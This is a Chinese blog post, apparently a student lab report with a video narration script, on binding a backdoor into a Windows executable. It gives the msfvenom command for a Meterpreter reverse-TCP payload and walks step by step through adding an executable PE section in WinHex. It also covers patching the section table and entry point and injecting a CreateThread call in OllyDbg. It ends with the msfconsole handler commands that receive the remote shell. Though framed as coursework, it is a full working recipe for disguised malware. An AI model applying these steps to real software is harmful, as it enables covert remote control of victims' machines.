其他分享
首页 > 其他分享> > EXP3

EXP3

作者:互联网

实验效果

✅将后门程序和目标程序捆绑在一起,实现运行目标程序时回连攻击机的目的

shellcode的生成

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.128 LPORT=4314 -f hex

通过msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.128 LPORT=4314命令实现shellcode的生成,通过参数-f hex将生成的shellcode以十六进制的形式输出✅

写入

一、加新增节内容

执行命令后生成了16进制的shellcode

image-20220430222959475

把这个shellcode复制下来,准备插入到helloworldwin32.exe的一个新增节中

payload size为354字节,那么新增节的大小需要大于所需的空间,才能将shellcode装下,在文件中,节的对齐粒度是0x200,十进制就是512

最少要在原PE文件的后面增加512字节,才能放得下生成的shellcode ✅

选择插入位置的起始点,右键->编辑->剪切板数据->写入

image-20220430225153383

选择确定

image-20220430225259787

选择剪切板格式为ASCLL HEX

image-20220430225259797

二、改PE头(一)

1.修改节区数目

2.修改程序占用内存大小

✅在PE头中,下图中绿色框出的位置为节区数目,因为我们增加了一个节,所以需要把原来的3改成4

由于我们新增了0x1000的节区空间,那么相应所占内存大小也要加0x1000,如图蓝色部分原始大小为00004000此处改为00005000即可。

image-20220430231021606

PE文件头+.text节+.rdata节+.data节原来所占内存为0x4000,加了一个节(.hack)后,所占内存变成0x5000

image-20220430231553560

三、改PE头(二)

1.确定新增节名称

2.确定新增节区所占内存大小(红色一)

3.确定新增节区起始RVA(橘色)

4.确定新增节区在文件中大小(红色二)

5.确定新增节区在文件中的偏移

6.确定新增节区属性

7.更改函数入口地址,以创建线程的方式使得两个功能都能正常运行

1.前8字节为节名称

2.接下来4字节为在文件中的节区尺寸(红色一),此处设为0X200

3.橘色为节区RVA,上一节起始为0x3000,内存节对齐粒度为0x1000,所以下一节起始RVA应该为0x4000。

4.接下来4字节为在文件中对齐后的尺寸(红色二),此处设为0X200

5.绿色色为文件偏移,上一节起始为0x800,在文件中对齐后尺寸为0x200,所以下一节起始RVA应该为0xA00

6.最后的4字节为节区属性,设为200000E0可读可写可执行

image-20220430232528112

.hack 虚拟偏移(橘色):上一节偏移+ 节大小(.hack) => 0x3000 + 0x1000 = 0x4000
.hack 实际偏移(绿色):上一节在文件中偏移 + 节实际大小(.hack) => 0x800 + 0x200 = 0xA00

7.创建子线程,更改函数入口地址

CreateThread()创建线程的方法比较容易理解和使用 微软官网CreateThread()函数简介百度百科CreateThread()函数简介

HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);

需要传入6个参数,lpStartAddress表示新线程的起始地址,在本次实验中仅需向lpStartAddress传入ShellCode首地址即可,其他参数均为0

image-20220501153155108-16513903174051

OllyDbg打开,在函数新增节末尾注入创建线程的函数(call CreateThread)及跳转回原来入口地址的操作(jmp 401000),保存修改到新文件helloworldwin32mod.exe

image-20220501153722504

winhex修改函数入口地址为第一条push 0命令的地址0x40417A

image-20220501154117357

成功调用

运行原程序,原程序功能正常

启动kali回连

msfconsole

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.45.128
set lport 4314
run

大家好,这个视频主要展示的内容是一个后门注入PE文件如何实现的这么一个过程,首先来看一下实验效果哈,原程序就是我们之前用到的这个hellowin32这个PE文件,注入后这个pe文件的原程序这个弹窗功能不变,同时还会启动后门回连到kali上。

首先需要在kali上启动监听,然后使用这个exploit渗透攻击模块,设置攻击载荷,这里我的虚拟机启用的是桥接模式,IP地址为192.168.45.128,然后我们把这一段整个复制一下,在命令窗口粘贴执行。然后这里运行一下这个捆绑了后门的PE文件,就能看到他在原功能正常运行的情况下回连到了虚拟机,在虚拟机列出一下当前目录下的所有文件,能看到结果都是对的嗷,接下来看一看是怎样将这样一个后门注入到pe文件中的!

通过这样一个命令实现shellcode的生成,通过参数-f hex将生成的shellcode以十六进制的形式输出,然后我们到命令行中执行一下这条命令,就能生成一段十六进制的shellcode

能看到这条shellcode是354个字节的,然后复制一下这条shellcode,粘贴到主机的一个新建的文档之中保存一下,这里我安装了vmtools所以能实现主机和虚拟机的粘贴板互通,

然后我们用winhex打开原程序hellowin32,在文件尾端新增一个节,刚刚shellcode的大小是354字节,那么新增节的大小需要大于所需的空间,才能将shellcode装下,在文件中,节的对齐粒度是十六进制的200,十进制就是512,所以最少要在原PE文件的后面增加512字节,才能放得下生成的shellcode。

接下来把之前生成的shellcode来填充这些0字节,打开之前的那个有shellcode的文档,复制这些shellcode,填充这些新增的0字节,选择插入位置的起始点,右键->编辑->剪切板数据->写入,这里点确定,然后选择剪切板数据格式为16进制数据,然后再点确定,就可以看到数据就已经插入成功了。

接下来我们要改pe头,在PE头中,这里是节区数目,因为我们增加了一个节,所以需要把原来的3改成4

由于我们新增了十六进制为1000的节区空间,那么相应所占内存大小也要加0x1000 偏移量1零零这个位置表示程序所占内存,把4000改为5000就行。

下面要修改的位置是节表,这里前8字节为节名称,这里起一个名叫hack,接下来4字节为在文件中的节区尺寸,这里设为0X200。

下面4字节是节区RVA,上一节起始为0x3000,内存节对齐粒度为0x1000,所以下一节起始RVA应该为0x4000。接下来4字节为在文件中对齐后的尺寸,设为0X200

下面是确定文件偏移,上一节起始为0x800,在文件中对齐后尺寸为0x200,所以下一节起始地址应该是0xA00,最后的4字节为节区属性,设为200000E0可读可写可执行,保存一下文件

接下来是通过创建一个子线程,实现原功能能够正常运行的情况下,还能够回连后门的效果,OllyDbg打开,跳转到新增节位置404000,在函数新增节末尾注入创建线程的函数(call CreateThread),这个函数需要传入6个参数,lpStartAddress表示新线程的起始地址,在本次实验中仅需向第四个参数的位置传入ShellCode首地址即可,其他参数均为0创建子进程完后,还要有一个跳转回原来入口地址的操作(jmp 401000),保存修改到新文件hellowin32下划线mod.exe

winhex打开这个带有下划线mod的pe文件,然后修改函数入口地址为第一条push 0命令的地址,刚刚第一条push 0命令的地址是0x40417A,这里修改一下。保存

测试一下修改的效果,这里我虚拟机已经按照之前讲过的方式设置了监听,然后我们运行一下带有下划线mod的这个文件,可以看到后门回连成功了,我的展示就到这里,谢谢大家。

标签:文件,字节,EXP3,起始,PE,shellcode,节区
来源: https://www.cnblogs.com/a6666o/p/16219847.html